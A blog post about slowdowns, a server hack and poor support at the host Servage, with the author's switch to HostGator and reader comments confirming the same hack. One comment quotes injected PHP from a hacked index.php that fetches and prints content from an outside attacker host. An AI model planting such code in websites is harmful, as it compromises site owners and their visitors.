Today I ended my Servage problems
HostingI will start by saying a few words about the problems i had with Servage then i will continue with the solving of the problems. I signed up with Servage about 4 months ago after reading some reviews on various forums/blogs. The first impression was very good, the support was excellent, they answered my question real quick and i had no problems with the hosting whatsoever. This happiness lasted for about 1 and a half maybe 2 months.
Then my problems started to appear, the FTP was responding really hard, the transfers were getting lost, then the website started to have increased loading times on some periods of the day. Don’t get me wrong the problems were not present everyday or on every website i had hosted with them, it was today a site with problems, tomorrow another one, and i guess this happened because of their clustered structure. Mostly the loading problems were cause by the DB`s.
Then after the loading problems, the injection of malicious code problem came, which could of been handled better by them. For example they could of admitted that their server got hacked, but no… they had to tell the users who reported the hack that the problem is caused by the scripts and the file permissions that the users host. Also when i asked if this problem happened to anyone else, they told me that this did not happened to other users, which is a big lie, proven by the fact that users who also got hacked commented on my articles and confirmed their accounts got hacked too.
After the hacking problem i was going to switch to another hosting company, but because i paid for a 6 month hosting pack i decided to wait, and see how things evolve. Maybe everything was going to be ok. But guess what ? i was wrong, Loading problems with my websites again. So finally i decided to switch hosting. I was thinking at hostgator for some time because a friend of mine already was using hosting from them and he told me he never had any problems.
I ordered the “baby” plan from them which features unlimited domains allowed. My account was activate in about 20 minutes. The Servage control panel was pretty straight-forward so when i switched to CpanelX from hostgator i had some trouble setting everything up. I will do some short tutorials on the things that i had trouble with so others can learn from my experience.
I hope i don’t have anymore hosting issues, and everything will run smooth. If any problem comes up, i will blog about it.
later edit: just when i tried to publish this article, loading problems again
later edit: i forget to tell you, i left this blog hosted here at Servage because i still have a month or two of hosting, and i would like to see how things evolve here, when my hosting plan will expire, i will also move this blog to hostgator.
third later edit: i think they’re trying to sabotage me :)) i know this sound strange and so unlikely but how can you explain that my blog is so unavailable, now after i published this article ? ![]()

an explanation for your blog beeing “so unavailable” now is the fact that they`re still full of problems
Hey, my site got hacked the same way yours did. I just submitted a ticket in the support system. They put this in my index.php:
if (extension_loaded(”curl”)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, “http://100500.muchcool.info/inc.php?223″);
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode(”",file(”http://100500.muchcool.info/inc.php?223″)); }
if($r) print $r;
Same issue here, was with servage for about 1.5 years.
Got the same hack as everyone else and no support from Servage.
Switched back to HostGator (again) and everything is going smooth so far.
Hopefully it stays that way!
I have the same problems with this server!!! I only installed forum and photo gallery and it is resolving so slow i wanna cry! Sometimes there is 404 error. In control panel it says: No such folder (www). I dont get it..what can I do about it?..Support is fast, but never helpfulL!
lesky the only solution to your problem is to move your websites at another hosting company
